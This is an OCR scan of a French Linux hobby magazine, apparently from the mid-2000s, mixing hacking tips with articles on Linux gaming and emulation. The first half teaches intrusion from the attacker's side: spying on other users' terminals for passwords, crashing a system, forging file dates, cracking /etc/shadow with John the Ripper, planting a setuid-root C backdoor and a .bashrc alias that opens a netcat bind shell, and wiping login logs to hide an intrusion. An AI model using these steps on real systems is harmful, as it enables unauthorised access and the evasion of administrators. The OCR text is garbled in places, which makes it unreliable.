machine locale vers le port 25 de
chloe. localhost représente en effet
votre ordinateur.

Pour une redirection distante, faites
comme cecl ©

$ ssh —R 1452:xelo:25 chloe

ssh ouvre un tunnel du port 1452 de
xelo vers le port 25 de chloe. localhost
est en position dhomme du milieu,
entre xelo et chloe.
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10 astuces de h
ehrouilie

Espionner un utilisateur
Si un terminal graphique est lancé, mais
geére mal les droits d'accés aux fichiers
Idevipts (terminaux virtuels, au
contraire des terminaux physiques
(tty) disponibles au nombre de ),
alors il devient possible de lire certai
nes informations saisies par ['utilisa-
teur, et SURTOUT les mots de passe.
Faites donc un essai !

Quvrez deux terminaux, (par exemple
deux xterm). Dans le premier, tapez |
“tty". Faites un Is -l sur le fichier. i les
droits en lecture pour le fichier sont
associés A terminal pour
quelqu'un d'autre que vous, il devient
possible de lire dessus d faide d'un
simple “cat”™! Vous pouvez faire un
chmod pour tester cette faiblesse, la
capture d'écran ci-contre parle d'elle-
méme,

votre

Crasher Linux
Il n'est pas trés dur de crasher un
Linux, c'est presque aussi facile que les |
avions. |l suffit pour cela de le surchar- |
ger avec plein de calculs inutiles. Genre
grosse moulinette qui chauffe pour
rien jusqu'a se bloquer complétement
Tapez donc la ligne suivante dans votre
shell pour voir (mais si, allez-y, n'ayez
pas peur; hahaha !).

({8}

Escape shell
L'escape shell est une technique bmn‘
connue de nos amis hackers. Elle per- |

met, lorsqu'un utilisateur fait un cat sur

un fichier, de lui faire exécuter un script

involontairement. Vous voulez terrori-

ser votre ami qui se la joue sur sa

Mandriva ? Faites lui essayer les opéra-

tions suivantes :

1 - créez un fichier dans /tmp nomme
liste _divx.oxt

2 = écrivez le fichier avec :

$ echo -e “ \033[30m\033\132"
> liste divx.txt

3 - faites un cat sur le fichier

4 =si la variable PATH du shell
contient le répertoire courant a
vérifier pour l'exécution de pro-
grammes, alors appuyer sur Entrée
exécutera le script 2¢ ! Pour peu
que ce dernier existe et soit exé-
cutable, bien sir...

Le saviez-vous ?
Le fichier /proc/random génére un
contenu aléatoire 3 partir de l'activité
de la machine. Faites un cat fdev/ran-
dom pour le voir.
Le fichier /proc/null, lui, ne méne nulle
part et ne renvoie rien. Yous pouvez
déplacer des fichiers cu écrire dedans,
cela ne fera... rien.
Google intégre un moteur de recher-
che spécifique a Linux.

devient ainsi votre premiére
source d'informations sur votre sys-
téme préfére.

Restez discrets !

Vous venez de madifier un fichier et !

vous aimeriez que personne ne s'en
apergoive !

Alors n'oubliez pas d'arranger les
dates de modification et/ou de créa-
tion du fichier !

Utilisez pour cela I'outil touch, qui per-
met de créer des fichiers ou de modi-
fier leurs dates d'acces.

La date sécrit sous la
AAMM]Jhhmm, on tape donc :
$ touch —-mt 0401010000 /tmp/test
pour mettre la date de derniére modifi-
cation du fichier test au ler janvier 2004.
On utilisera loption -a au lieu de -m pour
changer la date d'accés. L'option -t permet
de spécifier une autre date que celle du
moment de I'exécution (de touch).

forme.

Utiliser un éditeur
hexadecimal, et un
convertisseur

Les amateurs de cracking apprécieront
moyennement de ne pas trouver d'ou-
til specifiquement dédié 3 la conver-
sion de bases (de 'hexa vers le déci-
mal, par exemple), ou d'éditeur hexa-
décimal de fichiers. En fait, deux outils
comblent ce manque. Le premier est la cak-
culatrice " bc ", qui se lance par son
noam

Une fois dans la calculette, tapez
ibase=16 pour indiquer que I'NPUT
base (la base en entrée) est de I'hexa-
decimal. L'obase (OUTPUT base) étant
3 10, celle-ci fera de la conversion
d'hexa vers decimal.

Comme éditeur hexadecimal, vous



2000

000005¢c0: 1100 1600 5084 0408
00 0000
0000 2000 0000 €962
74 6772 7400
6£75 7400 7075
6400
S5foc
0067
6400 £d62
7475 6964 0O
7770

oooo
o0ooa

id.stdout . pute 1
niscked.geteuid.

z

6300 S£S5F 6374

5£63 7572 S5f6d

0066 7075 7473 b

6560 6467 1265 8960

7265 616c 66 641 mencmp
6574 6772 6560 7400 6d65 6d73 6574 .getgrent.memset
574 6772 6£75 7073 0073 7472 636d .getgroups.strom
6765 7470 7775 6964 0087 6574 7077 p.getpwuid.getpw
d00 666. 7365 0073 6574 Hob: nam, fclose.setlo
6c65 0073 7464 6572 7200 6572 726f cale.stderr.erro

tart_main.strlen
.frea.mbsinii

696e 6974
DOSE 5£67
474c 4942
322e 312e
474c 4942
322¢ 3200

0400 05

3100
0300
10 0400 D4

pouvez utiliser emacs. Ouvrez un Surveillance
fichier, et faites [ALT-X], tapez hex- permanente pour
mode, [ENTREE], et faites “yes”. Si | paranoiaques

vous ne connaissez pas Emacs :c'est un | Jacky le brutal, votre terrifiant voisin |

level 99 & Diablo 2, a-t-il pu s'infiltrer
dans wotre Linux rout neuf ? Si ces
angoisses vous bouffent vos nuits,
apprenez qu'il existe une commande
qui permet d'exécuter réguliérement
une autre commande, permettant ainsi
de surveiller certaines activités du sys-
téme ou de faire d'autres choses tout
aussi pratiques. Ainsi * watch " permet,

puissant éditeur de texte, rival direct |
de VIM. Ne pas savoir lutiliser, au |
moins pour sauvegarder et quitter, est
un acte criminel (on se demande com-
ment vous avez fait jusque-a..).

| Note
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| par exemple, d'exécuter la commande

" who " toutes les secondes par la ligne :

| $ watch -n 1 who

Dans le méme esprit, l'outil “top™ per-
met d'afficher en temps réel l'activicé
des processus. Il est toujours bon de
garder un ceil sur son terminal, pen-
dant que l'autre dort...

Pollution totale !

Si vous étes 4 deux simultanément sur
une station Linux, vous pouvez vous
amuser a pourrir I'affichage de votre
camarade. Ce n'est pas utile, ce n'est
pas dréle pour lui, mais ¢a l'est pour
vous. Grice a " wall * et " write *, vous
allez devenir I'ennemi public numéro
un de sa zone d'affichage.

$ echo "HAHAHA" | wall

: vous pouvez empécher [affi-
chage de messages sur votre teminal
grace 4 " mesg ", en tapant ;

$ mesg n

Trouver des traces...
Vous cherchez tous les fichiers appar-
tenant & un utilisateur ?Vous cherchez
tous les fichiers que celui-ci aurait
éventuellement laissés en lecture ou
écriture pour tout le monde ? L'outil "
find " est votre ami. Vous pouvez
recherchez les fichiers appartenant a
root (par exemple) et ayant AU
MOINS les droits en écriture pour
tout le monde en tapant la commande :
$ find ./ -user root —perm +002
Le*+" indiquant que I'on recherche les
fichiers avec ces droits au moins, voire
plus.

[piratz@provino ]$ echo -e "\033[30m\\033\13Z" >liste_divx.txt

[piratzBprovino 1$ cat liste_divx.txt

~[[?1;2c[piratz@provine 1$ 1;2c
bash: 1: command not found
bash: Zc: command not found
[piratz@provino 1%




Lorsque vous vous connectez sur une machine Unix, le
systéme vous demande votre login (nom d'utilisateur),
ensuite, grice 4 ce nom, il va rechercher I'entrée corres-
pondante dans le fichier /etc/passwd, puis il vous demande
votre mot de passe.

Le mot de passe que vous avez donné va passer dans une
moulinette de codage et étre comparé au mot de passe
chiffré enregistré par le systéme (se trouvant dans /etc/sha-
dow). 5i les deux passwords cryptés sont égaux, alors le
systéme vous donne votre acces.

Shadow

Prenons un exemple de fichier shadow :

Ce fichier n'est théoriquement visible que par le root. Il
contient, dans l'ordre: le login de l'utilisateur, le mor de
passe crypté et dautres informations telle que la date
d'expiration du mot de passe, la date de derniére madifica-
tion, etc. Ces derniéres sont optionnelles. Ainsi, lorsque I'un
des champs est vide (" "), cela signifie qu'il n'a pas écé spé-
cifié (ou a été ignoré) lors de la création du compte.

Le premier champ de votre chaine cryptée est: $1§.Le ‘%
" est un délimiteur, et " | " une information sur l'algorithme
utilisé. Les huit octets suivants sont la clef de codage. Et le
reste est le résultat apres chiffrement.

Quel intérét ?

Comme précisé un peu plus haut, le cryptage des mots de

passe Unix est réalisé grice i un algorithme de cryptage 3
sens unique : les chaines résultant de la moulinette de
codage & mots de passe n'ont pas de clef pour étre décryp-
tées. Cet état de fait est intimement lié aux algorithmes uti-
lisés. Ceux-ci ne cryptent pas vraiment (malgré ce que 'on
a pu dire) : ils générent une signature qui est de longueur
constante quel que soit le mot de passe. La seule fagon,
done, de casser la protection est de tester un par un des
mots de passe possibles, et de comparer les résultats.

Comment et avec quoi
va-t-on cracker ?
On va tout simplement utiliser un logiciel de brute-forcing,
comme John The Ripper, qui va tester toute une liste de
mots de passe possibles trouvés dans un dictionnaire (que
I'on aura pris scin de remplir autant que possible pour aug-
menter nos chances de trouver le bon mot de passe), ou
bien qui va traiter les solutions de facon exhaustive.
John fonctionne 4 I'aide d'une copie sur fichier des champs
login et password du fichier /etc/shadow. Yous pouvez le
télécharger sur httpi/fwww.openwall.com/john, Une fois
compilé, lancez le binaire (dans le répertoire run) de la
fagon suivante :
$ ./john fichier
Rien de trés sorcier li-dedans.Yous pouvez bien sir jouer
avec les différentes options de cet outil, mais la documen-
tation en anglis risque de faire peur aux vaches espagno-
les. Ceci étant dit, amusez-vous bien, mais sachez que trou-
ver un mot de passe par cette méthode peut prendre entre
une seconde et quelques mois. selon la qualité du mot de
passe, et surtout de votre puissance de calcul.
linuxschool magazine
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Les hackdooring
Sous Linux

Lorsqu'un hacker prend le contréle d'une machine
sous Linux, c'est-a-dire qu'il a obtenu les droits de
l'utilisateur " root " (le superman de l'informatique), il
va devoir laisser une " backdoor ", mot qui signifie ”
porte de derriére “. Autrement dit, il va s'installer
confortablement sur le systéme compromis : la
backdoor va lui permettre de revenir, et de retrouver
les droits root. Cet article a donc pour but de fabri-
quer deux backdoors classiques et essentiellement

BACKDOOR #1

Cette premiére backdoor va permet-
tre & un utilisateur lambda connecté en
local (c'est-a-dire qui a un shell sur
l'ordinateur) de passer root, autre-
ment dit, d'obtenir l'user id 0.

Cette backdoor va se présenter sous
la forme d'un trés petit programme.
que le hacker va compiler et exécuter.
Voici le code source en langage C
(recopiez-le dans un fichier back-
doorl.c) :

#include <unistd.h>
void main (void)

setuid(0);
setgid(0);
execl("/bin/sh", "sh",
NULL) ;
¥

Pour faire de ce fichier texte un pro-
gramme exécutable valide, vous devez
le compiler. Utilisez gcc comme suit
pour obtenir le programme my_back-
door :

$ gcc —o my backdoor \
backdoerl.c

Le code est trés simple. Il se contente
d'exécuter un shell {ici /bin/sh) aprés
avoir appelé les fonctions setuid() et
setgid() qui vont mettre |'vid (user id)
et le gid (group id) & 0. Heureusement,
ce sont deux fonctions de programma-
tion qui ne peuvent fonctionner
qu'avec les permissions d'exécution du
root. |l faudra donc que le hacker. aprés
avoir compilé sa backdoor, change les
permissions du programme afin de le

rendre " suid root ".Aprés cette modi- |

fication, les utilisateurs qui exécute-

didactiques.

rant le programme le feront avec les
droits du root. Comment réaliser ce
tour de passe-passe ! Sous root, tapez

# chmod +s ./my backdoor

# 1s —1 ./my_backdoor

—IWSC-Xr-x root root
Dec ‘9 987 my backdoor

Cela permet de faire tourner un pro-
gramme avec les droits de ['utilisateur
qui y aura mis le * bit-SUID * (option
+s de chmed).

Désormais, le hacker revient en utilisa-
teur normal, et peut repasser root :

user $ ./my_backdoor
root # id
uid=0(root) gid=0{root}

Evidemment, ce n'est pas trés discret.
L'administrateur pourrait facilement
découvrir la supercherie, a cause du
nom EuﬂdupﬂagoSUID’igpect.

BA R

Le shell bash, comme d'autres, permet
de créer des alias, qui associent une
commande de raccourci @ une ou plu-
sieurs autres.

Chaque entrée d'alias va se trouver

sous cette forme, dans .bashrc :

alias raccourci='commande
réelle’

Pour faire la backdoor, le hacker peut
rajouter “une ligne dans le fichier
_bashrc de I'administrateur (ou tout
autre utilisateur), afin de le faire exécu-
ter des commandes malicieuses sans le
savoir. Prenons un exemple.

Installons la backdoor aprés I'acquisi-
tion des droits root :

# echo "alias ls=ls && nc
—1 p 12345 -e /bin/sh&"
>»> ~/.bashre

(Voir I'article sur netcat :la commande

ouvre un port tcp avec un acces shell.)

Le hacker part. L'administrateur se
connecte, et fait un " Is ". Le hacker
peut maintenant se reconnecter avec
les droits root, tandis que I'administra-
teur lit son listing. ..

linuxschool magazine
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a plupart des systemes
Unix et Linux contien-
nent un systéme de

fichiers de journalisation
(des fichiers de log) liés aux
utilisateurs se connectant
sur la machine, que ce soit
en local ou a distance. Car
ces OS sont multi-utilisa-
teurs, c'est-i-dire que plu-
sieurs personnes peuvent
travailler dans des environ-
nements séparés sur la
méme machine sans que cela
nlinterfére sur ce que font
les autres, a part au niveau
de l'utilisation des ressour-
ces de la machine
Ces fichiers sont souvent
examinés par les administra-
teurs pour verifier que tout
est normal, repérer qui est
sur le systéme, etc. lis jouent
done un réle crucial dans la détection d'intrusions.

Pour chaque connexion conventionnelle vous laissez donc

des traces dans ces fichiers. Ces informations sont souvent

stockées dans le répertoire ivarflog. Il y a aussi des logs lais-
sés dans les répertoires des utilisateurs liés 4 ['utilisation de

Jeurs shells ou d'autres logiciels. Ces ensembles de fichiers

se distinguent par leurs types et leur utilisation :

- Il en existe un pour connaitre les personnes présentes sur
la machine. On peut l'utiliser grice 4 la commande "who'.

- Il en existe un autre qui est un journal de connexion qui
enregistre toutes les connexions & la machine

- Puis il y a celui qui contient des information sur la der-
niére connexion des utilisateurs de la machine.

- Enfin viennent syslog. messages, logs d'apache et autres,
tous dans le répertoire /var/log. Ce sont des fichiers de
logs gérés et générés par des démans (des programmes
qui tournent en tiche de fond, généralement des ser-
veurs).

Donc nous allons analyser dans un premier temps la struc-
ture de ces fichiers de journalisation et les traces que nous
pouvons y laisser, et dans un second temps nous allons voir
comment effacer ces traces le plus proprement possible
grice a des outils trouvés sur Internet. Pour finir, quelques
petites astuces pour détecter la modification de ces fichiers
pourraient nous étre utiles.

Structure des fichiers

de journalisation

Ces fichiers ont des formes bien spécifiques qui sont géné-
ralement détaillées par des structures. Pour expliquer sim-
plement comment cela fonctionne sur une ligne, les n pre-
miers caractéres contiendront le nom d'utilisateur; les n
autres caractéres la date, les n autres caractéres l'adresse
Internet depuis laquelle vous vous connectez a la machine
et ainsi de suite. Mals cerraines parties ne peuvent étre
déchiffrées avec un simple éditeur de texte.

Ennemi n®| : UTMP. C'est le fichier de journalisation qui
contient, entre autres, les logins des utilisateurs présents
sur la machine, le nom des devices utilisés, leurs dates de
connexions et leurs adresses IPVous pouvez retouver ces
Informartions dans le fichier /varfrun/utmp. On le lit & I'aide
de la commande "wha". La structure du fichier est définie
dans Jusrfinclude/bits/utmp.h, dans la structure utmp si vous
souhaitez jeter un coup d'ceil (courage...).

Ennemi n°2 : WTMP WTMP contient toutes les
connexions i la machine depuis le début du mois (si logro-
tate est installé et configuré ainsi) ou depuis I'installation. Il
contient notamment comme informations le nom d'utilisa-
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teur, le rry urilisé, I'héte source, la date de création et la
durée d'utilisation de la session. La structure de WTMP st
identique 2 celle d'UTMP. On le lit avec la commande "last”.

Ennemi n°3 : LASTLOG. LASTLOG contient les infor-
mations sur la derniére connexion de chaque utilisateur du
systeme. Ces information se trouvent dans le fichier
Ivar/log/lastlog qui contient pour chaque utilisateur, sachant
que ces champs peuvent étre vides si l'utilisateur ne s'est
jamais connecté, la date de la derniere connexion, I'host
depuis lequel il s'est connecté et enfin le device dont il s'est
servi, La fichier est définie dans
Jusrfinclude/bits/utmp.h dans la structure lastlog (si vous en
redemandez bien siir...). On le lit avec la commande “lastlog”.

structure  du

Ennemis n°4 : logs en texte clair. Comme son nom l'in-
dique, ce type de LOG est le plus brut possible. Cependant,
il suit des spécifités propres aux démons qui écrivent
dedans, c'est-a-dire que I'on peut les comprendre en les
ouvrant simplement avec un éditeur de texte, comme
exemples vous avez la plupart des logs de démons (apache,
syslogd, serveurs ftp...).

1l y a aussi les fichiers de log
tion d'un

laissés par l'ut
shell et de programmes par
l'utilisateur comme les
clients IRC ou autres. Ces
fichiers peuvent étre retrou-
ves dans I'home de
l'utilisateur (fhome/machin)
et commencent souvent par
un point, parfois dans des
dossiers parfois dans des
fichiers tout dépend du logi-
ciel. Par exemple, le shell
bash crée dans Ihome de
l'utilisateur un fichier
nommé .bash_history qui
contient toutes les comman-
des tapées par ['utilisateur
(fonctionnalite &  double
tranchant.

Alors, effagons
nos traces !

Il existe deux techniques
d'effacement des traces, une
obsoléte et une autre utili-

sée dans tous les log cleaners récents. La premiére, obso-
late, consiste & rechercher toutes les occurences (IP ou
hostname) dans un fichier et de les remplacer par des
octets nuls, c'est-i-dire que les commandes who, last, last-
log... crairont qu'il n'y a jamais rien eu ou que le champ est
vide, et donc n'afficheront pas les informations.

Mais la faiblesse de cette technique, c'est que la ligne qui
contient ces informations est entiérement remplie de bytes
nuls ou alors juste de certaines parties qui contiennent les
informations compromettantes. Il est donc facile, avec des
outils de détection, de repérer cette technique de net-
toyage. La seconde, plus siire, consiste simplement a lire
chaque structurefligne et si vous trouvez vos informations
(IP ou hostname), 2 faire tout simplement disparaitre la
ligne. Cette solution vous est proposée par la plupart des
bons log cleaner que vous pouvez trouver sur packetstorm
[1]. Nous allens prendre comme exemple le dernier log
cleaner en date sur packetstorm.

Mettons-nous dans Ja situation totalement fictive ol nous

avons eu un accés i une machine par lintermédiaire d'un
fetc/shadow modifié, qui permet de se connecter, avec

3¢
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comme login hacker, sur la machine justine-cible.com (IP
253.46.214.1 11) et que nous sommes sur la machine jacque-
lemonde.com (IP 213.56.176.2).

Pour mener i bien ce nettoyage, récupérons et compilons
le programme :

$ wget \
http://packet
stormsecurity.org/
UNIX/penetration/
logwipers/11c-0.9.2.tar.gz
$ tar x=f \
11c-0.9.2.tar.gz
cd 1lc
gee —o lle \
11c-0.9.2.c

w an

Ensuite, on peut regarder les options (lic -h} et voir que
les principales options & spécifier sont :

-E username),
H host],
A

[
[
[ ip address]

Donc nous allons lancer le programme avec les options
adéquates. Attention, il faut étre root pour madifier ces
fichiers, donc il faut lancer le programme avec les droits
root :

# ./llc -E hacker \
-H jacgue-lemonde.com \
-A 213.56.176.2

Voir le résultat avant et aprés, page précédente.

Nous voyons qu'il 'y a plus aucune trace de notre passage
et que, bien que nous soyons toujours sur la machine, nous
n'apparaissons pas dans le who. C'est dii & notre suppres-
sion dans le fichier /varfrun/utmp.

Mais attention, la plupart des log cleaner ne nertoient pas
les fichiers dans les répertoires personnels des utilisateurs
car ils ne savent pas forcément quoi y enlever (commandes
que vous auriez tapées...). ll vous est donc indispensable de
le faire 4 la main car sinon l'effacement des traces précé-
dentes n'aura servi d rien.

Astuces de détection

Tout dabord, certains outils ont été développés pour
détecter les nettoyages grice aux octets nuls. Par exemple,
dans Poutil de détection de roatkit chkrootkit [2], il y 2

deux fichiers qui ont ce réle (chklastlog.c et chkwemp<). |

Enfin, pour les logs cleaner qui suppriment directement les
lignes, il n'y a pas souvent de remodification de la date de
modification des fichiers de logs pour que ceci passe ina-
percu. Donc vous pouvez avoir des logs datant de 4 heures
avant la date de medification de votre fichier. On peut se

demander comment ¢a se fait qu'il soient modifiés si tous
les logs datent d'il y a 4 heures. Bien sil
nouvelle session change ces dates, donc on ne peut détec-
ter cela que dans une session ouverte avant ces modifica-
tions.

Finalement, le dernier petit indice qui n'est rarement. voire
jamais, pris en compte dans les logs cleaner publics, est 'uti-
lisation du fichier wtmp pour remettre [ancienne
connexion de lutilisateur dont on a usurpé l'identité, celle
avant notre passage. Les log cleaner classiques se conten-
tent juste de faire comme si l'utilisateur ne s'était jamais

» l'ouverture d'une

connecté, ce qui est vite repérable.

Voila, nous avons fini ce petit voyage d'initiation dans les
fichiers de journalisation sous Linux. Mais il ne faut pas se
leurrer : apres une intrusion et la prise des droits root, un
pirate ne va plus passer par le systéme d'authentification
basique. L'installation d'une backdoor est souvent sa
prochaine étape afin de revenir une autre fois en toute
sécurité et anonymement (cf. article sur les backdoors)
On ne pourra détecter ces nettoyages que lors des pre-
miers momenrs de l'intrusion, ensuite les logs s'entassent et
sont rarement lus, SUrtout sur un systéme générant nom-
bre de lignes de logs comme un serveur web.Ainsi un coup
dloeil régulier dans les logs est généralement obligatoire
pour tout bon administrateur réseau,

linuxschool magazine
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Les jelx sous

n vous a menti. Windows n'est

pas une nécessité :ni pour travail-

ler, ni pour jouer. C'est ce que
nous démontrons fierement dans les
pages qui suivent. Nous y briserons 4
tour de bras les mythes sur lesquels
repose 'hégémonie Mircrosoft en la
matiére : Linux n'est pas assez puissant
pour faire tourner des jeux 7
Mensonge ! Linux n'offre pas une large
palette de jeux ? Rumeurs !
Il reste compliqué de faire tourner de
bons jeux sous Linux ? Fadaises !
Le monde de I'émulation sous Linux est
le plus riche du monde ? C'est vrai...
Que vous soyez un gamer averti, un
curieux ou un nostalgique. notre petit
dossier jeux répondra a beaucoup de
vos interrogations. Aujourd'hui, grice &
des librairies et outils performants, la
communauté Linux dévoile un poten-
tiel jusque-la
méprisé par des équipes de développe-
ment qui font implicitement le jeu des
affaires de Bill Gaves.
Microsoft sentira le vent tourner dés
lors que les joueurs, c'est-a-dire vous,
amis lecteurs, exigeront des jeux qu'ils
soient aussi bien disponibles sous Linux

sous-estimé, voire

que sous Windows. Mais pour cela, il faut
franchir le pas. Prendre son Linux, et ne
jouer qu'aux jeux qui tournent dessus.
Un sacrifice que beaucoup ne sont pas
préts a accepter, & tort.

Pour accélérer Pévolution des mentali-

tés dans un domaine structuré de la
depuis des années, des
résistances et tours de force sont
nécessaires. On peut commencer par
afficher son mécantentement, mais i

sorte

| long terme il est surtout nécessaire de

faire comprendre aux maisons d'édi-
tion qu'offrir au joueur le choix de sa
plate-forme de jeux profiterait a tout le
monde (ou presque...).

Area 2028 : hitp:/ /www.emhsoft.net/area2028/
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Linux et les jeu
je taime, moin

A quand les jeux que I'on pourra faire tourner directement sous Linux ?
Pourquoi seul Windows est-il vraiment desservi de fagon sérieuse pour le jeu
vidéo ? Démystifions tout de suite les arguments windoziens bidons du

genre :
joueurs.

ohn Carmack, le pro-
grammeur principal d'ID

Software (le pere des

, car ils sont faux.

Doom et Quake. donc pas le
dernier des crétins) tienta le
préciser : tout les jeux ID
sont codés sous Linux car
OpenGL est bien meilleur
sous cet OS, Er d'ajouter : "
vivement que les gens pas-
sent sous Linux. Les lobbys
informatiques en faveur de
Windows nous limitent
encore trop ce qui fait indi-
rectement exploser la puis-
sance nécessaire pour faire tourner les jeux. " On se sou-
vient encore de l'annonce de la sortie simultanée d'Anarchy
Online Windows/Linux, puis de son dédit sous prétexte
que les machines Linux sont trop gourmandes...

En fait, il faut se rendre 3 I'évidence, seuls les studios les plus
performants et les meilleurs programmeurs offrent des
patchs natifs pour faire tourner leurs jeux sous Linux. Car
la plupart du temps, ce sont des tierces personnes qui por-
tent les jeux sous Linux, avec des équipes comme celles de
Loki ou encore Ieculus. Le travail est souvent lent, mais les
résultats sont plus que satisfaisants : en effet, les jeux tour-
nent beaucoup plus vite sous Linux que sous Windows,
mais ¢a, Cé n'est pas un scoop.

En théorie : pourquoi ¢a ne
marche pas

Déja, il faut voir que beaucoup de jeux sont développes en
DirectX, une technique propriétaire de Microsoft qui est

" Parce que Linux c'est pour les programmeurs, pas pour les

Loki fut 'un de premiers studios de porfuge de jevx commerdaux sous Linux

sensée étre la performance ulime, mais qui en fait est
bourrée d'imperfections et qui permet surtout de travailler
plus vite avec une syntaxe aussi permissive que hasardeuse,
ce qui ne nécessite donc pas une programmation exigeante.
Mais ce probleme a été résolu il y a peu : je vous conseille
d'aller voir I'article qui suit pour vous en rendre compte.

De plus, si le jeu est plus ou moins bien programmé, il ne
résistera pas trés bien & un changement d'environnement :
les systémes de fichiers different, le systéme de registre dis-
parait, etc... Nous ne sommes pas dans un magazine de pro-
grammation, je ne vais donc pas dérailler toutes les raisons
qui fone qu'un jeu Windows ne tourne quasiment jamais de
facon immédiate sous Linux. Un simple exemple parlera
mieus : le périphérique d'accés SVGA sous Linux c'est X1
alors que sous Windows c'est une architecture fermée, et
les pilotes de rendu matériel DRI (Direct Rendering
Infrastructure) sont compatibles Mesa/Glut sous Linux,
mals pas sous Windows. Vous n'en avez pas grand chose 4



faire, alors résumons. On peut dire que si la plupart des

jeux ne marche pas directement sous Linux, c'est a cause

de deux choses :

- le lobbying de Microsoft qui pése sur les développeurs
pour qu'il ne sortent qu'une version VWindows,

- les programmeurs eux-mémes, qui ne font pas forcément
I'effort d'une programmation rigoureuse, et donc qui ne
vont pas tous vers un jeu multi-plateforme.

En pratique : Pourquoi ¢a peut
marcher
Des dizaines de patches sont d'cres et déja disponibles
pour de nombreux jeux commerciaux, je vous conseille
d'aller voir sur ou bien sur

. Pour Quake lIl ou Unreal 2, il faut aller sur le site
du développeur. La plupart du temps, il s'agit d'un script
shell plus ou moins lourd, entre 5 et 50 mégas, qu'il faut lan-
cer sous root, et de li une gentille petite installation graphi-

que commence, sans probléme aucun. C'est quand méme
trés compliqué, je vous l'accorde..

Depuis quelque temps, on trouve aussi ce qu'on appelle le
portage " amélioratif ", C'est-a-dire que de nombreux jeux
vidéo (assez anciens, il faut bien le dire) sont devenus Open
Source, et donc les portages vers quelque chose de
superbe sont devenus monnaie courante :
exemple de Tenebrae, qui avec ses consorts DarkPlaces et
Fuhquake s'est lancé dans le challenge d'améliorer Quake
premier du nom d'une fagon véritablement étonnante : par

je parlerai par

exemple, Tenebrae offre rien
moins que les derniéres
améliorations du moteur de
Doom Il pour Quake.
Sceptique ? Allez verifier sur
heep:/ftenebrae.sfnet !
intéressant quand on sait que
dans un FPS, c'est plus sou-
vent le graphisme que le

Trés

contenu qui évelue

Le message est alors simple :
plus il y aura de gens sous
Linux, plus les éditeurs s'y
intéresseront !

Quake passé
ala
moulinette
Doom Wi ?
Affirmatif.
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u départ, les jeux vidéo Open Source étaient assez
rares. Cela s'explique tout simplement par le manque
le temps libre des développeurs compétents. En effet,
un jeu vidéo est probablement ce qui prend le plus de
temps & développer aprés un systéme d'exploitation. Et de
plus. il faut que chaque version du jeu soit conséquente, ce
n'est pas vraiment comme un programme que l'on peut
sortir 4 la version 0.1 et améliorer au fur et a mesure.
Mais depuis quelques années, maintenant que sur Linux le
plus gros est fait (c'est vrai quoi, le travail d'abord, le jeu
ensuite !), des développeurs s'intéressent de plus en plus
sérieusement au jeu vidéo, car ils comprennent bien que
cest la clé d'une réussite compléte pour la communauté de
I'Open Source.

L’Open Source

au service des pros

Deés lors, on a vu apparaitre des libraires trés performantes
qui sont utilisées dans beaucoup plus de domaines qu'on ne
pourrait croire. Le meilleur exemple est sans aucun doute
OpenGL et OpenAL, pour Open Graphic Library et Open
Audio Library. Clest simple, tout jeu qui n'utilise pas
DirectX de Microsoft utilise ces deux librairies, tellement
elles sont performantes. C'est le cas de jeux commerciaux
tels Quake Il ou Unreal 2. mais aussi de nombreux jeux
Open Source qui ont pu se développer sur ces librairies
d'une qualité exceptionnelle.

Planeshift, le futur Everquest libre ?

Bon je sais, vous n'en avez pas grand-chose a faire de mes
histoires de grand-pére. Alors, 4 quoi peut-on jouer sans
dépenser un rond ? Nous citerons en premier lieu Return
To Castle Wolfenstein : Ennemy Territory, qui n'est autre
qu'une version multijoueurs et Open Source de Return To
Castle Wolfenstein. Ensuite, toujours au niveau du jeu
online, l'excellent Legends, qui reprend tout le systéme de
jeu de Tribes 2 et vous le propose en libre téléchargement
On continue dans le jeu online avec Planeshift, un style de
MMORPG i la Everquest dans un monde vraiment sublime.
Vous aimez faire vrooom-vrooom au volant de puissantes
cylindrées? Alors, Racer (www.racernl et www.racer-
xtreme.com) est fait pour vous.

C'est trés courant dans les jeux Open Source. Les meilleurs
jeux sont programmés par des professionnels pendant leur
temps libre. Cela nous donne aussi Cube, un FPS trés cor-
rect qui est développé par... le chef de projet de la program-
mation de FarCry. Dés lors, on se rend compte quiil n'y a
peut-étre pas que des bidouilleurs déconnectés de la réa-
lité dans le monde de I'Open Source :-)

Des p’tits jeux,

aussi bons que simples

Mais tout le monde ne travaille pas sur des chefs-d'ceuvre
a temps plein. Yoild pourquoi en a pu veir de nombreux
jeux créés par de purs amateurs, encourages par des librai-
ries comme SDL ou Allegro, qui facilitent grandement le
travail. Citons par exemple Egoboo (--oboosinet).

On trouve aussi des jeux qui sont créés dans un but
beaucoup plus " ". Pourtant, ce sont devenus des jeux
vraiment cultes ! Citans bien sir Frozen Bubble, un clone
trés bien fichu de Puzzle Bobble, Super Methane Brothers,
un jeu typique de la période Amiga, des clones des plus
grand jeux " simples et efficaces " (Space Invaders,
Boulderdash, Packman et j'en passe) qui se doivent de
retenir votre attention. Nous nous devions aussi de citer
le célebrissime TuxRacer qui, encore aujourd'hui, est 2
I'origine de concours de descente de glacier en 3D la plus
rapide. Moralité : les jeux Open Source, c'est bien, c'est
bon, c'est GNU.

fun

(en frangais)



Les manchots
aiment

les bornes darcade
Pour commencer fort,
citons Pexcellentissime X-
MAME., qui veur dire
Multi Arcade Machine
Emulator, et dont le préfixe
X signifie bien sir la possi-
bilite de faire fonctionner
ce programme sous X-
Window, 4 savoir le ges-
tionnaire  d'affichage de
Linux. Ce logiciel est au top,
et vous permet de jouer a
des milliers de jeux d'ar-
cade, de Pacman aux der-
niers King of Fighters. Selon
le type de machine d'arcade
que vous souhaitez faire
fonctionner, la puissance
requise par le logiciel peut
étre trés variable, et per-
sonnellement, je trouve que
MAME est trés bon pour
les jeux un peu vieux, mais
pour les jeux récents,
mieux vaut opter pour des
émulateurs spécialisés.

Dans cette catégorie. nous
trouvons le génial RAINE, qui
&mule bon nombre de systé-
mes Taito et Jaleco. Si vous avez
trainé un peu en salle darcade
ces derniéres annees, vous
savez sans doute que ces bor-
nes ont abrite les meilleurs
Shoot Em Up qui puissent
exister (vous savez, ces jeux
avec un avion minuscule qui
tire des rayons lasers gigantes-
ques...). Si vous voulez en
savoir plus Sur cet univers, j

UNERSCHA

Emulation

Si vous étes un véritable fan de jeux vidéo, ce dont jene
doute pas si vous lisez cette rubrique, je pense gque vous
avez déja di ouir ce mot qui peut sembler rétro mais qui
est probablement le meilleur systéme de jeux vidéo sur
PC : les jeux consoles et arcade d'ily a quelques années
restent pour certains des chefs-d’ceuvre de gameplay.
Mais bon, nous n’allons pas débattre ici de la qualité du
vidéoludisme contemporain ou se la jouer Cabrel
